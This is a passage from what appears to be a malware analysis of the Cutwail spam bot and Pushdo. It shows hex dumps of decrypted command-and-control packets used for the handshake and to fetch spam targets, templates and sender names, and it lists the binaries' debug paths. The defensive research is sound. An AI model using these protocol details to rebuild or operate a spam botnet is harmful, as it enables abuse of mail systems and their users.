After receiving the mail relay list, Cutwail will finalize a handshake with its controller. The controller will send back to Cutwail a bot identifier and its detected, external IP address. This data is encrypted, and decrypted using the same methods outlined in 0x61. Here is an example of packet data:


Sent Request Packet Data:
00000020  00 00 00 00 01 00 00 00  74 00 00 00 ca 00 00 00 .e...... t.......
00000030  00 00 00 00 05 01 28 0a  02 00 00 00 00 00 00 00 ......(. ........

Decrypted Response Packet Data:
04 65 00 00 d0 5b 0a aa bb cc dd 00 00 00 00

04 65 00 00: Bot identifier.
aa bb cc dd: External ip address of the bot.


0x63 Receive SPAM Content

Before spamming, Cutwail needs to receive content. The next three steps show examples from sent/received packets. All received packets are encrypted, and decrypted using the methods outlined in 0x61 (fixed key). The received content consists of a list of addresses and associated mail servers, the template in which to spam, and a list of names in which to send the spam mail from.

  1. Retrieve Mail Address and Mail Server.
  2. 
    Sent Request Packet Data:
    00000020   04 65 00 00 01 00 00 00  74 00 00 00 ca 00 00 00   .e...... t.......
    00000030   00 00 00 00 05 01 28 0a  02 00 05 00 00 00 00 00   ......(. ........
    
    Decrypted Response Packet Data:
    00006DA0   F9 AF 46 00 38 07 19 01  03 00 00 00 00 6F 6D 6E   ù¯F.8........omn
    00006DB0   69 62 75 73 65 73 64 76  39 33 40 72 69 6D 73 75   ibusesdv93@rimsu
    00006DC0   70 70 6C 79 2E 63 6F 6D  00 6D 61 69 6C 2E 72 69   pply.com.mail.ri
    00006DD0   6D 73 75 70 70 6C 79 2E  63 6F 6D 00 D1 5E 66 89   msupply.com.Ñ^f‰
    00006DE0   00 64 69 73 73 69 64 65  6E 63 65 33 32 31 39 40   .dissidence3219@
    00006DF0   72 68 6F 64 65 73 6F 6B  6C 61 2E 63 6F 6D 00 72   rhodesokla.com.r
    00006E00   68 6F 64 65 73 6F 6B 6C  61 2E 63 6F 6D 2E 73 38   hodesokla.com.s8
    00006E10   61 32 2E 70 73 6D 74 70  2E 63 6F 6D 00 40 12 07   a2.psmtp.com.@..
    00006E20   0B 00 70 61 63 69 66 69  65 64 77 72 67 40 72 6F   ..pacifiedwrg@ro
    00006E30   74 68 73 61 79 2E 63 6F  6D 00 6D 61 69 6C 2E 72   thsay.com.mail.r
    ...
    
    

  3. Retrieve SPAM Mail Template.
  4. 
    Sent Request Packet Data:
    00000040   04 65 00 00 01 00 00 00  74 00 00 00 ca 00 00 00   .e...... t.......
    00000050   03 00 00 00 05 01 28 0a  02 00 05 00 00 00 00 00   ......(. ........
    
    Decrypted Response Packet Data:
    000194F0   02 00 00 00 7B 6F 65 6D  73 75 62 7D 00 22 7B 5F   ....{oemsub}."{_
    00019500   46 49 52 53 54 4E 41 4D  45 7D 20 7B 5F 4C 41 53   FIRSTNAME} {_LAS
    00019510   54 4E 41 4D 45 7D 22 20  3C 7B 4D 41 49 4C 5F 46   TNAME}" <{MAIL_F
    00019520   52 4F 4D 7D 3E 00 7B 48  54 4D 4C 5F 44 45 43 4F   ROM}>.{HTML_DECO
    00019530   44 45 7D 7B 5F 42 4F 44  59 5F 48 54 4D 4C 7D 7B   DE}{_BODY_HTML}{
    00019540   2F 48 54 4D 4C 5F 44 45  43 4F 44 45 7D 0D 0A 68   /HTML_DECODE}..h
    00019550   74 74 70 3A 2F 2F 7B 6F  65 6D 75 72 6C 31 7D 00   ttp://{oemurl1}.
    00019560   3C 68 74 6D 6C 3E 0D 0A  3C 68 65 61 64 3E 0D 0A   ....
    00019570   3C 74 69 74 6C 65 3E 3C  2F 74 69 74 6C 65 3E 0D   .
    00019580   0A 3C 2F 68 65 61 64 3E  0D 0A 3C 62 6F 64 79 20   ...
    

    
    Sent Request Packet Data:
    00000060   04 65 00 00 01 00 00 00  74 00 00 00 ca 00 00 00   .e...... t.......
    00000070   03 00 00 00 05 01 28 0a  02 00 05 00 00 00 00 00   ......(. ........
    
    Decrypted Response Packet Data:
    0000C590   69 74 68 72 61 6E 64 69  72 6D 6C 6C 77 00 02 00   ithrandirmllw...
    0000C5A0   00 00 7C 6D 69 74 68 72  61 6E 64 69 72 6D 6D 77   ..|mithrandirmmw
    0000C5B0   6F 00 03 00 00 00 7C 6D  69 74 68 72 61 6E 64 69   o.....|mithrandi
    0000C5C0   72 6D 6E 64 6E 00 04 00  00 00 7C 6D 69 74 68 72   rmndn.....|mithr
    0000C5D0   61 6E 64 69 72 6D 6E 6B  67 00 05 00 00 00 7C 6D   andirmnkg.....|m
    0000C5E0   69 74 68 72 61 6E 64 69  72 72 6F 71 67 00 06 00   ithrandirroqg...
    0000C5F0   00 00 7C 6D 69 74 68 72  61 6E 64 69 72 74 63 6E   ..|mithrandirtcn
    0000C600   68 00 07 00 00 00 7C 6D  69 74 68 72 61 6E 64 69   h.....|mithrandi
    0000C610   72 77 75 64 73 00 08 00  00 00 7C 6D 69 74 68 72   rwuds.....|mithr
    ...
    
    


0x70 Additional Information


0x71 Spam Campaign Examples




Figure 7-1: Pushdo seeding campaign example 1


Figure 7-2: Pushdo seeding campaign example 2


Figure 7-3: Cutwail spam run example 1


Figure 7-4: Cutwail spam run example 2


Figure 7-5: Cutwail spam run example 3

0x72 Project & Debug Name

The author has left debug information in each binary with the following names:

Inject Code: f:\\programs\\revolution6\\loader\\objfre_wxp_x86\\i386\\Loader.pdb
Pushdo Installer: f:\programs\revolution6\preloader\objfre_wxp_x86\i386\PreLoader.pdb
Rootkit Installer: c:\programs\revolution6\rkinstall\objfre_w2k_x86\i386\RkInstall.pdb
Rootkit: c:\programs\revolution6\innerdrv\objfre_w2k_x86\i386\InnerDrv.pdb
Rootkit: c:\programs\revolution6\protect\objfre_w2k_x86\i386\Protect.pdb
Spam Engine: c:\programs\bot25\bot\build\release\mailerapp\MailerApp.pdb